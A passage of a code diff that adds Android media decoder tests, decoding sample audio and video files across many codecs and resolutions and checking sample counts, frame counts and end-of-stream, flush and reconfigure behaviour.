+                    RESET_MODE_FLUSH, RESET_MODE_EOS_FLUSH };
+            int[] configModes = new int[] { CONFIG_MODE_NONE, CONFIG_MODE_QUEUE };
+
+            for (int conf : configModes) {
+                for (int reset : resetModes) {
+                    if (conf == CONFIG_MODE_NONE && reset == RESET_MODE_NONE) {
+                        // default case done outside of loop
+                        continue;
+                    }
+                    if (conf == CONFIG_MODE_QUEUE && !hasAudioCsd(testinput)) {
+                        continue;
+                    }
+
+                    String params = String.format("(using reset: %d, config: %s)", reset, conf);
+                    short[] decoded2 = decodeToMemory(codecName, testinput, reset, conf, -1, null);
+                    assertEquals(codecName + ": count different with reconfigure" + params,
+                            decoded.length, decoded2.length);
+                    for (int i = 0; i < decoded.length; i++) {
+                        assertEquals(codecName + ": samples don't match" + params,
+                                decoded[i], decoded2[i]);
+                    }
+                }
+            }
+        }
+    }
+
+    private boolean hasAudioCsd(final String testinput) throws IOException {
+        AssetFileDescriptor fd = null;
+        try {
+            MediaExtractor extractor = new MediaExtractor();
+            extractor.setDataSource(mInpPrefix + testinput);
+            MediaFormat format = extractor.getTrackFormat(0);
+
+            return format.containsKey(CSD_KEYS[0]);
+
+        } finally {
+            if (fd != null) {
+                fd.close();
+            }
+        }
+    }
+
+    protected static int getOutputFormatInteger(MediaCodec codec, String key) {
+        if (codec == null) {
+            fail("Null MediaCodec before attempting to retrieve output format key " + key);
+        }
+        MediaFormat format = null;
+        try {
+            format = codec.getOutputFormat();
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to obtain output format");
+        }
+        if (format == null) {
+            fail("Null output format returned from MediaCodec");
+        }
+        try {
+            return format.getInteger(key);
+        } catch (NullPointerException e) {
+            fail("Key " + key + " not present in output format");
+        } catch (ClassCastException e) {
+            fail("Key " + key + " not stored as integer in output format");
+        } catch (Exception e) {
+            fail("Exception " + e + " when attempting to retrieve output format key " + key);
+        }
+        // never used
+        return Integer.MIN_VALUE;
+    }
+
+    // Class handling all audio parameters relevant for testing
+    protected static class AudioParameter {
+
+        public AudioParameter() {
+            this.reset();
+        }
+
+        public void reset() {
+            this.numChannels = 0;
+            this.samplingRate = 0;
+        }
+
+        public int getNumChannels() {
+            return this.numChannels;
+        }
+
+        public int getSamplingRate() {
+            return this.samplingRate;
+        }
+
+        public void setNumChannels(int numChannels) {
+            this.numChannels = numChannels;
+        }
+
+        public void setSamplingRate(int samplingRate) {
+            this.samplingRate = samplingRate;
+        }
+
+        private int numChannels;
+        private int samplingRate;
+    }
+
+    private short[] decodeToMemory(String codecName, final String testinput, int resetMode,
+            int configMode, int eossample, List<Long> timestamps) throws IOException {
+
+        AudioParameter audioParams = new AudioParameter();
+        return decodeToMemory(codecName, audioParams, testinput,
+                resetMode, configMode, eossample, timestamps);
+    }
+
+    private short[] decodeToMemory(String codecName, AudioParameter audioParams,
+            final String testinput, int resetMode, int configMode, int eossample,
+            List<Long> timestamps) throws IOException {
+        String localTag = TAG + "#decodeToMemory";
+        Log.v(localTag, String.format("reset = %d; config: %s", resetMode, configMode));
+        short [] decoded = new short[0];
+        int decodedIdx = 0;
+
+        MediaExtractor extractor;
+        MediaCodec codec;
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + testinput);
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaFormat configFormat = format;
+        codec = MediaCodec.createByCodecName(codecName);
+        if (configMode == CONFIG_MODE_QUEUE && format.containsKey(CSD_KEYS[0])) {
+            configFormat = MediaFormat.createAudioFormat(mime,
+                    format.getInteger(MediaFormat.KEY_SAMPLE_RATE),
+                    format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+
+            configFormat.setLong(MediaFormat.KEY_DURATION,
+                    format.getLong(MediaFormat.KEY_DURATION));
+            String[] keys = new String[] { "max-input-size", "encoder-delay", "encoder-padding" };
+            for (String k : keys) {
+                if (format.containsKey(k)) {
+                    configFormat.setInteger(k, format.getInteger(k));
+                }
+            }
+        }
+        Log.v(localTag, "configuring with " + configFormat);
+        codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+
+        if (resetMode == RESET_MODE_RECONFIGURE) {
+            codec.stop();
+            codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+            codec.start();
+            codecInputBuffers = codec.getInputBuffers();
+            codecOutputBuffers = codec.getOutputBuffers();
+        } else if (resetMode == RESET_MODE_FLUSH) {
+            codec.flush();
+        }
+
+        extractor.selectTrack(0);
+
+        if (configMode == CONFIG_MODE_QUEUE) {
+            queueConfig(codec, format);
+        }
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                        extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0 && eossample > 0) {
+                        fail("test is broken: never reached eos sample");
+                    }
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        if (samplecounter == eossample) {
+                            sawInputEOS = true;
+                        }
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+                    codec.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                //Log.d(TAG, "got frame, size " + info.size + "/" + info.presentationTimeUs);
+
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                    if (timestamps != null) {
+                        timestamps.add(info.presentationTimeUs);
+                    }
+                }
+                if (info.size > 0 &&
+                        resetMode != RESET_MODE_NONE && resetMode != RESET_MODE_EOS_FLUSH) {
+                    // once we've gotten some data out of the decoder, reset and start again
+                    if (resetMode == RESET_MODE_RECONFIGURE) {
+                        codec.stop();
+                        codec.configure(configFormat, null /* surface */, null /* crypto */,
+                                0 /* flags */);
+                        codec.start();
+                        codecInputBuffers = codec.getInputBuffers();
+                        codecOutputBuffers = codec.getOutputBuffers();
+                        if (configMode == CONFIG_MODE_QUEUE) {
+                            queueConfig(codec, format);
+                        }
+                    } else /* resetMode == RESET_MODE_FLUSH */ {
+                        codec.flush();
+                    }
+                    resetMode = RESET_MODE_NONE;
+                    extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                    sawInputEOS = false;
+                    samplecounter = 0;
+                    if (timestamps != null) {
+                        timestamps.clear();
+                    }
+                    continue;
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    if (resetMode == RESET_MODE_EOS_FLUSH) {
+                        resetMode = RESET_MODE_NONE;
+                        codec.flush();
+                        extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                        sawInputEOS = false;
+                        samplecounter = 0;
+                        decoded = new short[0];
+                        decodedIdx = 0;
+                        if (timestamps != null) {
+                            timestamps.clear();
+                        }
+                    } else {
+                        sawOutputEOS = true;
+                    }
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat oformat = codec.getOutputFormat();
+                audioParams.setNumChannels(oformat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(oformat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.d(TAG, "output format has changed to " + oformat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputing data");
+        }
+
+        codec.stop();
+        codec.release();
+        return decoded;
+    }
+
+    private static void queueConfig(MediaCodec codec, MediaFormat format) {
+        for (String csdKey : CSD_KEYS) {
+            if (!format.containsKey(csdKey)) {
+                continue;
+            }
+            ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
+            int inputBufIndex = codec.dequeueInputBuffer(-1);
+            if (inputBufIndex < 0) {
+                fail("failed to queue configuration buffer " + csdKey);
+            } else {
+                ByteBuffer csd = (ByteBuffer) format.getByteBuffer(csdKey).rewind();
+                Log.v(TAG + "#queueConfig", String.format("queueing %s:%s", csdKey, csd));
+                codecInputBuffers[inputBufIndex].put(csd);
+                codec.queueInputBuffer(
+                        inputBufIndex,
+                        0 /* offset */,
+                        csd.limit(),
+                        0 /* presentation time (us) */,
+                        MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
+            }
+        }
+    }
+
+    @Test
+    public void testDecodeM4aWithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepm4a.m4a");
+    }
+
+    @Test
+    public void testDecodeMp3WithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepmp3lame.mp3");
+        testDecodeWithEOSOnLastBuffer("sinesweepmp3smpb.mp3");
+    }
+
+    @Test
+    public void testDecodeOpusWithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepopus.mkv");
+        testDecodeWithEOSOnLastBuffer("sinesweepopusmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeWavWithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepwav.wav");
+    }
+
+    @Test
+    public void testDecodeFlacWithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepflacmkv.mkv");
+        testDecodeWithEOSOnLastBuffer("sinesweepflac.flac");
+        testDecodeWithEOSOnLastBuffer("sinesweepflacmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeOggWithEOSOnLastBuffer() throws Exception {
+        testDecodeWithEOSOnLastBuffer("sinesweepogg.ogg");
+        testDecodeWithEOSOnLastBuffer("sinesweepoggmkv.mkv");
+        testDecodeWithEOSOnLastBuffer("sinesweepoggmp4.mp4");
+    }
+
+    /* setting EOS on the last full input buffer should be equivalent to setting EOS on an empty
+     * input buffer after all the full ones. */
+    private void testDecodeWithEOSOnLastBuffer(final String res) throws Exception {
+        int numsamples = countSamples(res);
+        assertTrue(numsamples != 0);
+
+        for (String codecName: codecsFor(res)) {
+            List<Long> timestamps1 = new ArrayList<Long>();
+            short[] decode1 = decodeToMemory(codecName, res,
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, timestamps1);
+
+            List<Long> timestamps2 = new ArrayList<Long>();
+            short[] decode2 = decodeToMemory(codecName, res,
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, numsamples - 1,
+                    timestamps2);
+
+            // check that data and timestamps are the same for EOS-on-last and EOS-after-last
+            assertEquals(decode1.length, decode2.length);
+            assertTrue(Arrays.equals(decode1, decode2));
+            assertEquals(timestamps1.size(), timestamps2.size());
+            assertTrue(timestamps1.equals(timestamps2));
+
+            // ... and that this is also true when reconfiguring the codec
+            timestamps2.clear();
+            decode2 = decodeToMemory(codecName, res,
+                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, -1, timestamps2);
+            assertTrue(Arrays.equals(decode1, decode2));
+            assertTrue(timestamps1.equals(timestamps2));
+            timestamps2.clear();
+            decode2 = decodeToMemory(codecName, res,
+                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, numsamples - 1, timestamps2);
+            assertEquals(decode1.length, decode2.length);
+            assertTrue(Arrays.equals(decode1, decode2));
+            assertTrue(timestamps1.equals(timestamps2));
+
+            // ... and that this is also true when flushing the codec
+            timestamps2.clear();
+            decode2 = decodeToMemory(codecName, res,
+                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, -1, timestamps2);
+            assertTrue(Arrays.equals(decode1, decode2));
+            assertTrue(timestamps1.equals(timestamps2));
+            timestamps2.clear();
+            decode2 = decodeToMemory(codecName, res,
+                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, numsamples - 1,
+                    timestamps2);
+            assertEquals(decode1.length, decode2.length);
+            assertTrue(Arrays.equals(decode1, decode2));
+            assertTrue(timestamps1.equals(timestamps2));
+        }
+    }
+
+    private int countSamples(final String res) throws IOException {
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(mInpPrefix + res);
+        extractor.selectTrack(0);
+        int numsamples = extractor.getSampleTime() < 0 ? 0 : 1;
+        while (extractor.advance()) {
+            numsamples++;
+        }
+        return numsamples;
+    }
+
+    private void testDecode(final String testVideo, int frameNum) throws Exception {
+        if (!MediaUtils.checkCodecForResource(mInpPrefix + testVideo, 0 /* track */)) {
+            return; // skip
+        }
+
+        // Decode to Surface.
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        int frames1 = countFrames(testVideo, RESET_MODE_NONE, -1 /* eosframe */, s);
+        assertEquals("wrong number of frames decoded", frameNum, frames1);
+
+        // Decode to buffer.
+        int frames2 = countFrames(testVideo, RESET_MODE_NONE, -1 /* eosframe */, null);
+        assertEquals("different number of frames when using Surface", frames1, frames2);
+    }
+
+    @Test
+    public void testCodecBasicH264() throws Exception {
+        testDecode("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 240);
+    }
+
+    @Test
+    public void testCodecBasicHEVC() throws Exception {
+        testDecode(
+                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4", 300);
+    }
+
+    @Test
+    public void testCodecBasicH263() throws Exception {
+        testDecode("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp", 122);
+    }
+
+    @Test
+    public void testCodecBasicMpeg2() throws Exception {
+        testDecode("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
+    }
+
+    @Test
+    public void testCodecBasicMpeg4() throws Exception {
+        testDecode("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 249);
+    }
+
+    @Test
+    public void testCodecBasicVP8() throws Exception {
+        testDecode("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 240);
+    }
+
+    @Test
+    public void testCodecBasicVP9() throws Exception {
+        testDecode("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm", 240);
+    }
+
+    @Test
+    public void testCodecBasicAV1() throws Exception {
+        testDecode("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testH264Decode320x240() throws Exception {
+        testDecode("bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4", 300);
+    }
+
+    @Test
+    public void testH264Decode720x480() throws Exception {
+        testDecode("bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4", 300);
+    }
+
+    @Test
+    public void testH264Decode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 30,
+                    AVCProfileHigh, AVCLevel31, 8000000));
+        }
+    }
+
+    @Test
+    public void testH264SecureDecode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            verifySecureVideoDecodeSupport(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 30,
+                    AVCProfileHigh, AVCLevel31, 8000000);
+        }
+    }
+
+    @Test
+    public void testH264Decode30fps1280x720() throws Exception {
+        testDecode("bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4", 300);
+    }
+
+    @Test
+    public void testH264Decode60fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 60,
+                    AVCProfileHigh, AVCLevel32, 8000000));
+            testDecode(
+                    "bbb_s3_1280x720_mp4_h264_hp32_8mbps_60fps_aac_he_v2_stereo_48kbps_48000hz.mp4",
+                    600);
+        }
+    }
+
+    @Test
+    public void testH264SecureDecode60fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            verifySecureVideoDecodeSupport(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 60,
+                    AVCProfileHigh, AVCLevel32, 8000000);
+        }
+    }
+
+    @Test
+    public void testH264Decode60fps1280x720() throws Exception {
+        testDecode("bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz.mp4",
+                600);
+    }
+
+    @Test
+    public void testH264Decode30fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 30,
+                    AVCProfileHigh, AVCLevel4, 20000000));
+            testDecode(
+                    "bbb_s4_1920x1080_wide_mp4_h264_hp4_20mbps_30fps_aac_lc_6ch_384kbps_44100hz.mp4",
+                    150);
+        }
+    }
+
+    @Test
+    public void testH264SecureDecode30fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            verifySecureVideoDecodeSupport(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 30,
+                    AVCProfileHigh, AVCLevel4, 20000000);
+        }
+    }
+
+    @Test
+    public void testH264Decode30fps1920x1080() throws Exception {
+        testDecode("bbb_s4_1920x1080_wide_mp4_h264_mp4_20mbps_30fps_aac_he_5ch_200kbps_44100hz.mp4",
+                150);
+    }
+
+    @Test
+    public void testH264Decode60fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 60,
+                    AVCProfileHigh, AVCLevel42, 20000000));
+            testDecode("bbb_s2_1920x1080_mp4_h264_hp42_20mbps_60fps_aac_lc_6ch_384kbps_48000hz.mp4",
+                    300);
+        }
+    }
+
+    @Test
+    public void testH264SecureDecode60fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            verifySecureVideoDecodeSupport(
+                    MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080, 60,
+                    AVCProfileHigh, AVCLevel42, 20000000);
+        }
+    }
+
+    @Test
+    public void testH264Decode60fps1920x1080() throws Exception {
+        testDecode("bbb_s2_1920x1080_mp4_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mp4",
+                300);
+        testDecode("bbb_s2_1920x1080_mkv_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mkv",
+                300);
+    }
+
+    @Test
+    public void testH265Decode25fps1280x720() throws Exception {
+        testDecode("video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 240);
+    }
+
+    @Test
+    public void testVP8Decode320x180() throws Exception {
+        testDecode("bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testVP8Decode640x360() throws Exception {
+        testDecode("bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testVP8Decode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 30));
+        }
+    }
+
+    @Test
+    public void testVP8Decode30fps1280x720() throws Exception {
+        testDecode("bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testVP8Decode60fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1280, 720, 60));
+        }
+    }
+
+    @Test
+    public void testVP8Decode60fps1280x720() throws Exception {
+        testDecode("bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm", 600);
+    }
+
+    @Test
+    public void testVP8Decode30fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 30));
+        }
+    }
+
+    @Test
+    public void testVP8Decode30fps1920x1080() throws Exception {
+        testDecode("bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz.webm",
+                150);
+    }
+
+    @Test
+    public void testVP8Decode60fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP8, 1920, 1080, 60));
+        }
+    }
+
+    @Test
+    public void testVP8Decode60fps1920x1080() throws Exception {
+        testDecode("bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testVP9Decode320x180() throws Exception {
+        testDecode("bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testVP9Decode640x360() throws Exception {
+        testDecode("bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testVP9Decode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_VP9, 1280, 720, 30));
+        }
+    }
+
+    @Test
+    public void testVP9Decode30fps1280x720() throws Exception {
+        testDecode("bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testVP9Decode60fps1920x1080() throws Exception {
+        testDecode("bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm",
+                300);
+    }
+
+    @Test
+    public void testVP9Decode30fps3840x2160() throws Exception {
+        testDecode("bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz.webm",
+                150);
+    }
+
+    @Test
+    public void testVP9Decode60fps3840x2160() throws Exception {
+        testDecode("bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testAV1Decode320x180() throws Exception {
+        testDecode("video_320x180_webm_av1_200kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testAV1Decode640x360() throws Exception {
+        testDecode("video_640x360_webm_av1_470kbps_30fps_vorbis_stereo_128kbps_48000hz.webm", 300);
+    }
+
+    @Test
+    public void testAV1Decode30fps1280x720() throws Exception {
+        testDecode("video_1280x720_webm_av1_2000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testAV1Decode60fps1920x1080() throws Exception {
+        testDecode("video_1920x1080_webm_av1_7000kbps_60fps_vorbis_stereo_128kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testAV1Decode30fps3840x2160() throws Exception {
+        testDecode("video_3840x2160_webm_av1_11000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+                150);
+    }
+
+    @Test
+    public void testAV1Decode60fps3840x2160() throws Exception {
+        testDecode("video_3840x2160_webm_av1_18000kbps_60fps_vorbis_stereo_128kbps_48000hz.webm",
+                300);
+    }
+
+    @Test
+    public void testHEVCDecode352x288() throws Exception {
+        testDecode("bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4",
+                300);
+    }
+
+    @Test
+    public void testHEVCDecode720x480() throws Exception {
+        testDecode("bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+                300);
+    }
+
+    @Test
+    public void testHEVCDecode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_HEVC, 1280, 720, 30,
+                    HEVCProfileMain, HEVCMainTierLevel31, 4000000));
+        }
+    }
+
+    @Test
+    public void testHEVCDecode30fps1280x720() throws Exception {
+        testDecode("bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
+                300);
+    }
+
+    @Test
+    public void testHEVCDecode30fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(
+                    MediaFormat.MIMETYPE_VIDEO_HEVC, 1920, 1080, 30,
+                    HEVCProfileMain, HEVCMainTierLevel41, 5000000));
+        }
+    }
+
+    @Test
+    public void testHEVCDecode60fps1920x1080() throws Exception {
+        testDecode("bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz.mp4",
+                300);
+    }
+
+    @Test
+    public void testHEVCDecode30fps3840x2160() throws Exception {
+        testDecode("bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz.mp4",
+                150);
+    }
+
+    @Test
+    public void testHEVCDecode60fps3840x2160() throws Exception {
+        testDecode("bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz.mp4",
+                300);
+    }
+
+    @Test
+    public void testMpeg2Decode352x288() throws Exception {
+        testDecode("video_352x288_mp4_mpeg2_1000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
+    }
+
+    @Test
+    public void testMpeg2Decode720x480() throws Exception {
+        testDecode("video_720x480_mp4_mpeg2_2000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 300);
+    }
+
+    @Test
+    public void testMpeg2Decode30fps1280x720Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_MPEG2, 1280, 720, 30));
+        }
+    }
+
+    @Test
+    public void testMpeg2Decode30fps1280x720() throws Exception {
+        testDecode("video_1280x720_mp4_mpeg2_6000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
+    }
+
+    @Test
+    public void testMpeg2Decode30fps1920x1080Tv() throws Exception {
+        if (checkTv()) {
+            assertTrue(MediaUtils.canDecodeVideo(MediaFormat.MIMETYPE_VIDEO_MPEG2, 1920, 1080, 30));
+        }
+    }
+
+    @Test
+    public void testMpeg2Decode30fps1920x1080() throws Exception {
+        testDecode("video_1920x1080_mp4_mpeg2_12000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
+    }
+
+    @Test
+    public void testMpeg2Decode30fps3840x2160() throws Exception {
+        testDecode("video_3840x2160_mp4_mpeg2_20000kbps_30fps_aac_stereo_128kbps_48000hz.mp4", 150);
+    }
+
+    private void testCodecEarlyEOS(final String res, int eosFrame) throws Exception {
+        if (!MediaUtils.checkCodecForResource(mInpPrefix + res, 0 /* track */)) {
+            return; // skip
+        }
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        int frames1 = countFrames(res, RESET_MODE_NONE, eosFrame, s);
+        assertEquals("wrong number of frames decoded", eosFrame, frames1);
+    }
+
+    @Test
+    public void testCodecEarlyEOSH263() throws Exception {
+        testCodecEarlyEOS("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+                64 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSH264() throws Exception {
+        testCodecEarlyEOS("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSHEVC() throws Exception {
+        testCodecEarlyEOS("video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSMpeg2() throws Exception {
+        testCodecEarlyEOS("vdeo_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
+                120 /* eosframe */);
+    }
+
+    @Test
+    public void testCodecEarlyEOSMpeg4() throws Exception {
+        testCodecEarlyEOS("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
